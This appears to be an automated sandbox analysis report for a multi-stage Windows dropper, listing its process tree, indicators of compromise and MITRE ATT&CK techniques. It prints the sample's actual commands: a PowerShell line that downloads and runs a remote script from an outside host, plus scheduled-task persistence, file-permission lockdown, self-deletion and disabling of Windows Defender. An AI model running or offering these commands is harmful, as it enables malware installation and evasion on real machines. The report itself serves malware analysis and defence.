Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob = 19000000010000001000000063664b080559a094d10f0a3c5f4f62900300000001000000140000002796bae63f1801e277261ba0d77770028f20eee41d000000010000001000000099949d2179811f6b30a8c99c4f6b4226140000000100000014000000d2c4b0d291d44c1171b361cb3da1fedda86ad4e309000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030353000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005200000047006f00200044006100640064007900200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f00000001000000140000005d82adb90d5dd3c7e3524f56f787ec537261877620000000010000000404000030820400308202e8a003020102020100300d06092a864886f70d01010505003063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137303632305a170d3334303632393137303632305a3063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100de9dd7ea571849a15bebd75f4886eabeddffe4ef671cf46568b35771a05e77bbed9b49e970803d561863086fdaf2ccd03f7f0254225410d8b281d4c0753d4b7fc777c33e78ab1a03b5206b2f6a2bb1c5887ec4bb1eb0c1d845276faa3758f78726d7d82df6a917b71f72364ea6173f659892db2a6e5da2fe88e00bde7fe58d15e1ebcb3ad5e212a2132dd88eaf5f123da0080508b65ca565380445991ea3606074c541a572621b62c51f6f5f1a42be025165a8ae23186afc7803a94d7f80c3faab5afca140a4ca1916feb2c8ef5e730dee77bd9af67998bcb10767a2150ddda058c6447b0a3e62285fba41075358cf117e3874c5f8ffb569908f8474ea971baf020103a381c03081bd301d0603551d0e04160414d2c4b0d291d44c1171b361cb3da1fedda86ad4e330818d0603551d230481853081828014d2c4b0d291d44c1171b361cb3da1fedda86ad4e3a167a4653063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100324bf3b2ca3e91fc12c6a1078c8e77a03306145c901e18f708a63d0a19f98780116e69e4961730ff3491637238eecc1c01a31d9428a431f67ac454d7f6e5315803a2ccce62db944573b5bf45c924b5d58202ad2379698db8b64dcecf4cca3323e81c88aa9d8b416e16c920e5899ecd3bda70f77e992620145425ab6e7385e69b219d0a6c820ea8f8c20cfa101e6c96ef870dc40f618badee832b95f88e92847239eb20ea83ed83cd976e08bceb4e26b6732be4d3f64cfe2671e26111744aff571a870f75482ecf516917a002126195d5d140b2104ceec4ac1043a6a59e0ad595629a0dcf8882c5320ce42b9f45e60d9f289cb1b92a5a57ad370faf1d7fdbbd9f	sqlcmd.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXE

pid process

1288 PING.EXE
1224 PING.EXE
Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

1392 powershell.exe
1224 powershell.exe

pid	process
1288	PING.EXE
1224	PING.EXE

pid	process
1392	powershell.exe
1224	powershell.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

Processes:

tz8276.exev8327Rw.exew77FU05.exexuZYL31.exepowershell.exeworld.exeYJROPMCQjRX9.exepowershell.exemyp.exemyp.exeserv.exe

pid	process
944	tz8276.exe
944	tz8276.exe
2000	v8327Rw.exe
2000	v8327Rw.exe
1148	w77FU05.exe
1148	w77FU05.exe
1996	xuZYL31.exe
1996	xuZYL31.exe
1392	powershell.exe
1656	world.exe
1656	world.exe
1420	YJROPMCQjRX9.exe
1420	YJROPMCQjRX9.exe
1420	YJROPMCQjRX9.exe
1420	YJROPMCQjRX9.exe
1420	YJROPMCQjRX9.exe
1224	powershell.exe
1468	myp.exe
1440	myp.exe
1440	myp.exe
1468	myp.exe
1284	serv.exe
1284	serv.exe
1284	serv.exe
1284	serv.exe
1284	serv.exe
1284	serv.exe
1284	serv.exe
1284	serv.exe
1284	serv.exe
1284	serv.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

Processes:

tz8276.exev8327Rw.exew77FU05.exexuZYL31.exepowershell.exeworld.exepowershell.exemyp.exemyp.exeserv.exe

description	pid	process
Token: SeDebugPrivilege	944	tz8276.exe
Token: SeDebugPrivilege	2000	v8327Rw.exe
Token: SeDebugPrivilege	1148	w77FU05.exe
Token: SeDebugPrivilege	1996	xuZYL31.exe
Token: SeDebugPrivilege	1392	powershell.exe
Token: SeDebugPrivilege	1656	world.exe
Token: SeDebugPrivilege	1224	powershell.exe
Token: SeDebugPrivilege	1468	myp.exe
Token: SeDebugPrivilege	1440	myp.exe
Token: SeShutdownPrivilege	1284	serv.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

Downloader.exeDownloader.exe

pid process

1668 Downloader.exe
1248 Downloader.exe

pid	process
1668	Downloader.exe
1248	Downloader.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

edba9a3c7e7519fdf720871f320d01c1.exezap5310.exezap1382.exezap4238.exey85Vr80.exelegenda.exe

description	pid	process	target process
PID 1948 wrote to memory of 1172	1948	edba9a3c7e7519fdf720871f320d01c1.exe	zap5310.exe
PID 1948 wrote to memory of 1172	1948	edba9a3c7e7519fdf720871f320d01c1.exe	zap5310.exe
PID 1948 wrote to memory of 1172	1948	edba9a3c7e7519fdf720871f320d01c1.exe	zap5310.exe
PID 1948 wrote to memory of 1172	1948	edba9a3c7e7519fdf720871f320d01c1.exe	zap5310.exe
PID 1948 wrote to memory of 1172	1948	edba9a3c7e7519fdf720871f320d01c1.exe	zap5310.exe
PID 1948 wrote to memory of 1172	1948	edba9a3c7e7519fdf720871f320d01c1.exe	zap5310.exe
PID 1948 wrote to memory of 1172	1948	edba9a3c7e7519fdf720871f320d01c1.exe	zap5310.exe
PID 1172 wrote to memory of 2036	1172	zap5310.exe	zap1382.exe
PID 1172 wrote to memory of 2036	1172	zap5310.exe	zap1382.exe
PID 1172 wrote to memory of 2036	1172	zap5310.exe	zap1382.exe
PID 1172 wrote to memory of 2036	1172	zap5310.exe	zap1382.exe
PID 1172 wrote to memory of 2036	1172	zap5310.exe	zap1382.exe
PID 1172 wrote to memory of 2036	1172	zap5310.exe	zap1382.exe
PID 1172 wrote to memory of 2036	1172	zap5310.exe	zap1382.exe
PID 2036 wrote to memory of 1272	2036	zap1382.exe	zap4238.exe
PID 2036 wrote to memory of 1272	2036	zap1382.exe	zap4238.exe
PID 2036 wrote to memory of 1272	2036	zap1382.exe	zap4238.exe
PID 2036 wrote to memory of 1272	2036	zap1382.exe	zap4238.exe
PID 2036 wrote to memory of 1272	2036	zap1382.exe	zap4238.exe
PID 2036 wrote to memory of 1272	2036	zap1382.exe	zap4238.exe
PID 2036 wrote to memory of 1272	2036	zap1382.exe	zap4238.exe
PID 1272 wrote to memory of 944	1272	zap4238.exe	tz8276.exe
PID 1272 wrote to memory of 944	1272	zap4238.exe	tz8276.exe
PID 1272 wrote to memory of 944	1272	zap4238.exe	tz8276.exe
PID 1272 wrote to memory of 944	1272	zap4238.exe	tz8276.exe
PID 1272 wrote to memory of 944	1272	zap4238.exe	tz8276.exe
PID 1272 wrote to memory of 944	1272	zap4238.exe	tz8276.exe
PID 1272 wrote to memory of 944	1272	zap4238.exe	tz8276.exe
PID 1272 wrote to memory of 2000	1272	zap4238.exe	v8327Rw.exe
PID 1272 wrote to memory of 2000	1272	zap4238.exe	v8327Rw.exe
PID 1272 wrote to memory of 2000	1272	zap4238.exe	v8327Rw.exe
PID 1272 wrote to memory of 2000	1272	zap4238.exe	v8327Rw.exe
PID 1272 wrote to memory of 2000	1272	zap4238.exe	v8327Rw.exe
PID 1272 wrote to memory of 2000	1272	zap4238.exe	v8327Rw.exe
PID 1272 wrote to memory of 2000	1272	zap4238.exe	v8327Rw.exe
PID 2036 wrote to memory of 1148	2036	zap1382.exe	w77FU05.exe
PID 2036 wrote to memory of 1148	2036	zap1382.exe	w77FU05.exe
PID 2036 wrote to memory of 1148	2036	zap1382.exe	w77FU05.exe
PID 2036 wrote to memory of 1148	2036	zap1382.exe	w77FU05.exe
PID 2036 wrote to memory of 1148	2036	zap1382.exe	w77FU05.exe
PID 2036 wrote to memory of 1148	2036	zap1382.exe	w77FU05.exe
PID 2036 wrote to memory of 1148	2036	zap1382.exe	w77FU05.exe
PID 1172 wrote to memory of 1996	1172	zap5310.exe	xuZYL31.exe
PID 1172 wrote to memory of 1996	1172	zap5310.exe	xuZYL31.exe
PID 1172 wrote to memory of 1996	1172	zap5310.exe	xuZYL31.exe
PID 1172 wrote to memory of 1996	1172	zap5310.exe	xuZYL31.exe
PID 1172 wrote to memory of 1996	1172	zap5310.exe	xuZYL31.exe
PID 1172 wrote to memory of 1996	1172	zap5310.exe	xuZYL31.exe
PID 1172 wrote to memory of 1996	1172	zap5310.exe	xuZYL31.exe
PID 1948 wrote to memory of 2028	1948	edba9a3c7e7519fdf720871f320d01c1.exe	y85Vr80.exe
PID 1948 wrote to memory of 2028	1948	edba9a3c7e7519fdf720871f320d01c1.exe	y85Vr80.exe
PID 1948 wrote to memory of 2028	1948	edba9a3c7e7519fdf720871f320d01c1.exe	y85Vr80.exe
PID 1948 wrote to memory of 2028	1948	edba9a3c7e7519fdf720871f320d01c1.exe	y85Vr80.exe
PID 1948 wrote to memory of 2028	1948	edba9a3c7e7519fdf720871f320d01c1.exe	y85Vr80.exe
PID 1948 wrote to memory of 2028	1948	edba9a3c7e7519fdf720871f320d01c1.exe	y85Vr80.exe
PID 1948 wrote to memory of 2028	1948	edba9a3c7e7519fdf720871f320d01c1.exe	y85Vr80.exe
PID 2028 wrote to memory of 1316	2028	y85Vr80.exe	legenda.exe
PID 2028 wrote to memory of 1316	2028	y85Vr80.exe	legenda.exe
PID 2028 wrote to memory of 1316	2028	y85Vr80.exe	legenda.exe
PID 2028 wrote to memory of 1316	2028	y85Vr80.exe	legenda.exe
PID 2028 wrote to memory of 1316	2028	y85Vr80.exe	legenda.exe
PID 2028 wrote to memory of 1316	2028	y85Vr80.exe	legenda.exe
PID 2028 wrote to memory of 1316	2028	y85Vr80.exe	legenda.exe
PID 1316 wrote to memory of 1392	1316	legenda.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\edba9a3c7e7519fdf720871f320d01c1.exe
"C:\Users\Admin\AppData\Local\Temp\edba9a3c7e7519fdf720871f320d01c1.exe"
1⤵
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1948

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap5310.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap5310.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1172

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap1382.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap1382.exe
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2036

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap4238.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap4238.exe
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1272

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v8327Rw.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v8327Rw.exe
5⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Loads dropped DLL
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2000

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w77FU05.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w77FU05.exe
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1148

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xuZYL31.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xuZYL31.exe
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1996

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y85Vr80.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y85Vr80.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2028

C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
"C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1316

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN legenda.exe /TR "C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe" /F
4⤵
- Creates scheduled task(s)
PID:1392

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "legenda.exe" /P "Admin:N"&&CACLS "legenda.exe" /P "Admin:R" /E&&echo Y|CACLS "..\f22b669919" /P "Admin:N"&&CACLS "..\f22b669919" /P "Admin:R" /E&&Exit
4⤵
PID:520

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
5⤵
PID:920

C:\Windows\SysWOW64\cacls.exe
CACLS "legenda.exe" /P "Admin:N"
5⤵
PID:1784

C:\Windows\SysWOW64\cacls.exe
CACLS "legenda.exe" /P "Admin:R" /E
5⤵
PID:1072

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
5⤵
PID:1068

C:\Windows\SysWOW64\cacls.exe
CACLS "..\f22b669919" /P "Admin:N"
5⤵
PID:1704

C:\Windows\SysWOW64\cacls.exe
CACLS "..\f22b669919" /P "Admin:R" /E
5⤵
PID:1452

C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exe
"C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
PID:1364

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')"
5⤵
PID:1844

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')
6⤵
- Blocklisted process makes network request
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1392

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exe" >> NUL
5⤵
PID:544

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
6⤵
- Runs ping.exe
PID:1224

C:\Users\Admin\AppData\Local\Temp\1000097001\world.exe
"C:\Users\Admin\AppData\Local\Temp\1000097001\world.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1656

C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe
"C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe"
4⤵
- Enumerates VirtualBox registry keys
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Checks system information in the registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks for VirtualBox DLLs, possible anti-VM trick
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1284

C:\Users\Admin\AppData\Local\Temp\1000118001\svchost.exe
"C:\Users\Admin\AppData\Local\Temp\1000118001\svchost.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1736

C:\Users\Admin\AppData\Roaming\1000120000\YJROPMCQjRX9.exe
"C:\Users\Admin\AppData\Roaming\1000120000\YJROPMCQjRX9.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:1420

C:\Users\Admin\AppData\Local\Temp\1000123001\Downloader.exe
"C:\Users\Admin\AppData\Local\Temp\1000123001\Downloader.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
PID:1668

C:\Users\Admin\AppData\Local\Temp\1000123001\myp.exe
"C:\Users\Admin\AppData\Local\Temp\1000123001\myp.exe" 0
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1440

C:\Users\Admin\AppData\Local\Temp\1000123001\clip.exe
"C:\Users\Admin\AppData\Local\Temp\1000123001\clip.exe" 0
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
PID:1008

C:\Users\Admin\AppData\Local\Temp\1000124001\Downloader.exe
"C:\Users\Admin\AppData\Local\Temp\1000124001\Downloader.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
PID:1248

C:\Users\Admin\AppData\Local\Temp\1000124001\myp.exe
"C:\Users\Admin\AppData\Local\Temp\1000124001\myp.exe" 0
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1468

C:\Users\Admin\AppData\Local\Temp\1000124001\clip.exe
"C:\Users\Admin\AppData\Local\Temp\1000124001\clip.exe" 0
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1512

C:\Users\Admin\AppData\Local\Temp\1000125001\sqlcmd.exe
"C:\Users\Admin\AppData\Local\Temp\1000125001\sqlcmd.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
PID:952

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')"
5⤵
PID:1560

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')
6⤵
- Blocklisted process makes network request
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1224

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\1000125001\sqlcmd.exe" >> NUL
5⤵
PID:2040

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
6⤵
- Runs ping.exe
PID:1288

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
4⤵
- Loads dropped DLL
PID:1740

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz8276.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz8276.exe
1⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:944

C:\Windows\system32\taskeng.exe
taskeng.exe {181AE8E1-BFD9-4DE1-8D1B-6FC6D43B8F23} S-1-5-21-1563773381-2037468142-1146002597-1000:YBHADZIG\Admin:Interactive:[1]
1⤵
PID:920

C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
2⤵
- Executes dropped EXE
PID:796

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

System Information Discovery